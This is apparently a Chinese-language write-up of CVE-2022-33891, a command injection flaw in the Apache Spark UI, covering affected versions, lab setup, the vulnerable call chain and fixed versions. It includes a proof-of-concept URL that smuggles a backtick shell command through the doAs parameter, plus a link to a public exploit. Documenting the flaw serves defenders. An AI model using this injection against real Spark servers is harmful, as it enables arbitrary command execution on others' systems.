漏洞描述
Apache Spark UI 提供了通过配置选项 spark.acls.enable 来启用 ACLs 的功能,通过身份验证过滤器(authentication filter),检查用户是否具有查看或修改应用程序的权限。如果启用了 ACLs,HttpSecurityFilter中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将基于其输入构建 Unix shell 命令,并执行该命令。这将导致执行任意 shell 命令
概述:启用 ACLs 功能的话,会导致任意代码执行漏洞
影响版本
versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
环境搭建
安装 apache spark
wget https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz
tar -zxzf spark-3.2.1-bin-hadoop2.7.tgz
cd spark-3.2.1-bin-hadoop2.7/bin
./spark-shell --conf spark.acls.enable=true
POC
# 在 /tmp 下创建文件 sparktest.txt
http://192.168.3.128:4040/?doAs=`touch /tmp/sparktest.txt`
https://github.com/HuskyHacks/cve-2022-33891
漏洞分析
漏洞利用链
- org.apache.spark.ui.HttpSecurityFilter.doFilter()
- org.apache.spark.SecurityManager.checkUIViewPermissions()
- org.apache.spark.SecurityManager.isUserInACL()
- org.apache.spark.util.Utils.getCurrentUserGroups()
- org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups()
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups()
修复方法
Update to Spark 3.1.3, 3.2.2, or 3.3.0 or later
参考
apache spark 官方漏洞通告:https://spark.apache.org/security.html
- https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
- 漏洞修复 issue:https://github.com/apache/spark/pull/36315/files
- 且听安全:https://mp.weixin.qq.com/s/3dLSrKDDnix5g71ItjXduQ
- 知识星球 Y4tacker:https://t.zsxq.com/047MB6qrZ
https://mp.weixin.qq.com/s/-ttNfB-D_23kjPpw0wq4XQ
POC
- https://github.com/HuskyHacks/cve-2022-33891